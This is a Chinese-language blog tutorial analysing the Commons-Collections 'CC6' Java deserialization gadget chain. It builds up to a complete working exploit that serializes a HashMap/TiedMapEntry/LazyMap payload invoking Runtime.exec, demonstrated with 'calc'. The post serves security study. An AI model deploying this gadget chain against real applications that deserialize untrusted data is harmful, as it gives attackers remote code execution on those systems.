Featured image of post CC6链

CC6链

CC6链

全版本可用

在jdk8u71修复了CC1链后,出现CC6链

这条链不受版本限制

环境搭建

jdk8u71

Comoons-Collections 3.2.1

链子分析

先看yso利用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

后面部分看起来跟LazyMap一样,前半部分跟URLDNS一样,就中间不同

Lazymap部分跟前面一样,所以代码就是

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);

接下来就说看看谁调用了LazyMap的get方法

上面链子说是TiedMapEntry的getValue()方法

1
2
3
public Object getValue() {
        return map.get(key);
    }

我们查看构造器

1
2
3
4
5
public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

传入map和一个key,key直接随便,由于这个类是public类型的,我们可以直接获取到getValue()方法

1
2
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
t.getValue();

整合一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.cc6test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class Test02 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry t = new TiedMapEntry(lazymap, "key");
        t.getValue();
    }
}

成功弹计算器

然后我们接着找哪里调用了getValue()方法,由于比较常见我们在同一个类里面查找

1
2
3
4
5
public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

TiedMapEntry类下有hashCode方法调用了,看到hashCode我们其实就能直接想到用HashMap里面的hash方法,然后接下来跟URLDNS链一样,最后到达readObject方法

接下来先查看readObject方法,然后最后是调用了hash方法

1
2
3
4
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

然后才调用hashCode方法,由于对key进行hashCode,所以我们的key直接传入前面定义的TiedMapEntry对象

1
2
3
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");

这里会发现跟URLDNS链一样出现问题了,我们即使没有执行反序列化也会弹计算器

这里有两个问题,我们下断点发现,其实在这里就弹计算器了

IDEA配置问题

1
HashMap<Object, Object> finalmap = new HashMap<>();

这里就是跟IDEA的配置有关了

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。

我们查看前面的toString方法

1
2
3
 public String toString() {
        return getKey() + "=" + getValue();
    }

确实调用了getValue方法,结果就把链子走完了

解决办法打开设置,启用toString视图关了,然后上面那个替代视图也得关了

image-20250728170120330

URLDNS相同问题

还有一个点是在调用put方法弹计算器

改进方法也是差不多,需要反射更改一些变量的值

我们跟进put方法

1
2
3
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

发现他直接调用hash方法,然后后面一样了

我们修改的想法是修改

1
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);

使它的第二个参数先为没用的Transformer类,使得put的时候不会提前调用链子,然后在序列化之前,我们通过反射把参数值改回去

1
2
3
4
5
6
7
8
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazymap,chainedTransformer);

虽然这里序列化没有弹计算器,但是反序列化的时候也没弹计算器

我们在map的put方法这里下断点查看,一直步入到这里

image-20250728172520436

可以看到它尝试获取我们传进去的LazyMap的key,执行transform方法,确实啥也没发生

然后一直步过,我们可以看到它用我们自定义的key赋值传入的value值

image-20250728172743457

这里会导致反序列化的时候,key对应的值不为空,进不了if判断

所以解决办法就是把我们自定义的key删了

也就是在前下的给key赋值操作结束后,把key直接删了

1
lazymap.remove("key");

最终exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.cc6test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test02 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry t = new TiedMapEntry(lazymap, "key");
        HashMap<Object, Object> finalmap = new HashMap<>();
        finalmap.put(t, "value");
        lazymap.remove("key");
        Class c = LazyMap.class;
        Field f = c.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(lazymap,chainedTransformer);
        serialize(finalmap);
        unserialize("ser.bin");
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}
使用 Hugo 构建
主题 StackJimmy 设计